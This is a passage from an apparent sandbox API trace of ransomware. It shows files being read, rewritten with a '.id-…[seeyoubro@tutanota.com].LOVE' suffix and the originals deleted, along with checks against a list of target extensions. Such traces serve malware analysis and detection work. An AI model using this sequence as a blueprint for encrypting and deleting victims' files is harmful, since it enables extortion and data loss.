lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.056] SetEndOfFile (hFile=0x2d8) returned 1 [0221.056] CloseHandle (hObject=0x2d8) returned 1 [0221.056] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.056] SetEndOfFile (hFile=0x374) returned 1 [0221.057] CloseHandle (hObject=0x374) returned 1 [0221.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString=".doc") returned 4 [0221.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString=".docx") returned 5 [0221.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.058] lstrlenW (lpString=".pdf") returned 4 [0221.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString=".xls") returned 4 [0221.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.058] lstrlenW (lpString=".xlsx") returned 5 [0221.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.058] lstrlenW (lpString=".ppt") returned 4 [0221.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString=".zip") returned 4 [0221.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.058] lstrlenW (lpString=".rar") returned 4 [0221.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString=".bz2") returned 4 [0221.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString=".7z") returned 3 [0221.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString=".dbf") returned 4 [0221.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString=".1cd") returned 4 [0221.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0221.058] lstrlenW (lpString=".jpg") returned 4 [0221.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.059] GetLastError () returned 0x0 [0221.059] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xce2, lpOverlapped=0x0) returned 1 [0221.073] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xcf0, lpOverlapped=0x0) returned 1 [0221.073] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.073] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.074] SetEndOfFile (hFile=0x2d8) returned 1 [0221.074] CloseHandle (hObject=0x2d8) returned 1 [0221.074] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.074] SetEndOfFile (hFile=0x374) returned 1 [0221.075] CloseHandle (hObject=0x374) returned 1 [0221.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0221.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.075] lstrlenW (lpString=".doc") returned 4 [0221.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.075] lstrlenW (lpString=".docx") returned 5 [0221.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.075] lstrlenW (lpString=".pdf") returned 4 [0221.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString=".xls") returned 4 [0221.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.076] lstrlenW (lpString=".xlsx") returned 5 [0221.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.076] lstrlenW (lpString=".ppt") returned 4 [0221.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.076] lstrlenW (lpString=".zip") returned 4 [0221.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.076] lstrlenW (lpString=".rar") returned 4 [0221.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString=".bz2") returned 4 [0221.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString=".7z") returned 3 [0221.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.076] lstrlenW (lpString=".dbf") returned 4 [0221.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.076] lstrlenW (lpString=".1cd") returned 4 [0221.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0221.076] lstrlenW (lpString=".jpg") returned 4 [0221.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.077] GetLastError () returned 0x0 [0221.077] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3960, lpOverlapped=0x0) returned 1 [0221.104] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3970, lpOverlapped=0x0) returned 1 [0221.105] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.105] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.106] SetEndOfFile (hFile=0x2d8) returned 1 [0221.106] CloseHandle (hObject=0x2d8) returned 1 [0221.106] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.106] SetEndOfFile (hFile=0x374) returned 1 [0221.107] CloseHandle (hObject=0x374) returned 1 [0221.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0221.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.108] lstrlenW (lpString=".doc") returned 4 [0221.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.108] lstrlenW (lpString=".docx") returned 5 [0221.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.108] lstrlenW (lpString=".pdf") returned 4 [0221.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.108] lstrlenW (lpString=".xls") returned 4 [0221.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.108] lstrlenW (lpString=".xlsx") returned 5 [0221.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.108] lstrlenW (lpString=".ppt") returned 4 [0221.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.108] lstrlenW (lpString=".zip") returned 4 [0221.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.108] lstrlenW (lpString=".rar") returned 4 [0221.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.108] lstrlenW (lpString=".bz2") returned 4 [0221.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.108] lstrlenW (lpString=".7z") returned 3 [0221.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.109] lstrlenW (lpString=".dbf") returned 4 [0221.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.109] lstrlenW (lpString=".1cd") returned 4 [0221.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0221.109] lstrlenW (lpString=".jpg") returned 4 [0221.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.110] GetLastError () returned 0x0 [0221.110] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xe86, lpOverlapped=0x0) returned 1 [0221.111] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe90, lpOverlapped=0x0) returned 1 [0221.112] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.112] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.112] SetEndOfFile (hFile=0x2d8) returned 1 [0221.113] CloseHandle (hObject=0x2d8) returned 1 [0221.113] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.113] SetEndOfFile (hFile=0x374) returned 1 [0221.113] CloseHandle (hObject=0x374) returned 1 [0221.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0221.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.114] lstrlenW (lpString=".doc") returned 4 [0221.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.114] lstrlenW (lpString=".docx") returned 5 [0221.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.114] lstrlenW (lpString=".pdf") returned 4 [0221.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.114] lstrlenW (lpString=".xls") returned 4 [0221.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.114] lstrlenW (lpString=".xlsx") returned 5 [0221.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.115] lstrlenW (lpString=".ppt") returned 4 [0221.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.115] lstrlenW (lpString=".zip") returned 4 [0221.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.115] lstrlenW (lpString=".rar") returned 4 [0221.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.115] lstrlenW (lpString=".bz2") returned 4 [0221.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.115] lstrlenW (lpString=".7z") returned 3 [0221.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.115] lstrlenW (lpString=".dbf") returned 4 [0221.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.115] lstrlenW (lpString=".1cd") returned 4 [0221.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0221.115] lstrlenW (lpString=".jpg") returned 4 [0221.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.115] GetLastError () returned 0x0 [0221.115] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x5bc, lpOverlapped=0x0) returned 1 [0221.332] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0221.333] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.333] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.334] SetEndOfFile (hFile=0x2d8) returned 1 [0221.334] CloseHandle (hObject=0x2d8) returned 1 [0221.334] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.334] SetEndOfFile (hFile=0x374) returned 1 [0221.335] CloseHandle (hObject=0x374) returned 1 [0221.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0221.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.335] lstrlenW (lpString=".doc") returned 4 [0221.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.335] lstrlenW (lpString=".docx") returned 5 [0221.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.335] lstrlenW (lpString=".pdf") returned 4 [0221.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.335] lstrlenW (lpString=".xls") returned 4 [0221.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.336] lstrlenW (lpString=".xlsx") returned 5 [0221.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.336] lstrlenW (lpString=".ppt") returned 4 [0221.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.336] lstrlenW (lpString=".zip") returned 4 [0221.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.336] lstrlenW (lpString=".rar") returned 4 [0221.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString=".bz2") returned 4 [0221.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString=".7z") returned 3 [0221.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.336] lstrlenW (lpString=".dbf") returned 4 [0221.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.336] lstrlenW (lpString=".1cd") returned 4 [0221.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0221.336] lstrlenW (lpString=".jpg") returned 4 [0221.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.352] GetLastError () returned 0x0 [0221.352] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xac4, lpOverlapped=0x0) returned 1 [0221.404] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xad0, lpOverlapped=0x0) returned 1 [0221.407] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.407] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.407] SetEndOfFile (hFile=0x384) returned 1 [0221.407] CloseHandle (hObject=0x384) returned 1 [0221.407] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.407] SetEndOfFile (hFile=0x2d8) returned 1 [0221.408] CloseHandle (hObject=0x2d8) returned 1 [0221.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0221.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.409] lstrlenW (lpString=".doc") returned 4 [0221.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.410] lstrlenW (lpString=".docx") returned 5 [0221.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.410] lstrlenW (lpString=".pdf") returned 4 [0221.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.410] lstrlenW (lpString=".xls") returned 4 [0221.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.410] lstrlenW (lpString=".xlsx") returned 5 [0221.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.410] lstrlenW (lpString=".ppt") returned 4 [0221.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.410] lstrlenW (lpString=".zip") returned 4 [0221.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.410] lstrlenW (lpString=".rar") returned 4 [0221.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.410] lstrlenW (lpString=".bz2") returned 4 [0221.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.410] lstrlenW (lpString=".7z") returned 3 [0221.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.410] lstrlenW (lpString=".dbf") returned 4 [0221.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.411] lstrlenW (lpString=".1cd") returned 4 [0221.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0221.411] lstrlenW (lpString=".jpg") returned 4 [0221.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.411] GetLastError () returned 0x0 [0221.411] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1746, lpOverlapped=0x0) returned 1 [0221.491] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1750, lpOverlapped=0x0) returned 1 [0221.492] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.492] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.492] SetEndOfFile (hFile=0x384) returned 1 [0221.492] CloseHandle (hObject=0x384) returned 1 [0221.493] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.493] SetEndOfFile (hFile=0x2d8) returned 1 [0221.493] CloseHandle (hObject=0x2d8) returned 1 [0221.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0221.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.494] lstrlenW (lpString=".doc") returned 4 [0221.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.494] lstrlenW (lpString=".docx") returned 5 [0221.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.494] lstrlenW (lpString=".pdf") returned 4 [0221.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.494] lstrlenW (lpString=".xls") returned 4 [0221.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.494] lstrlenW (lpString=".xlsx") returned 5 [0221.494] 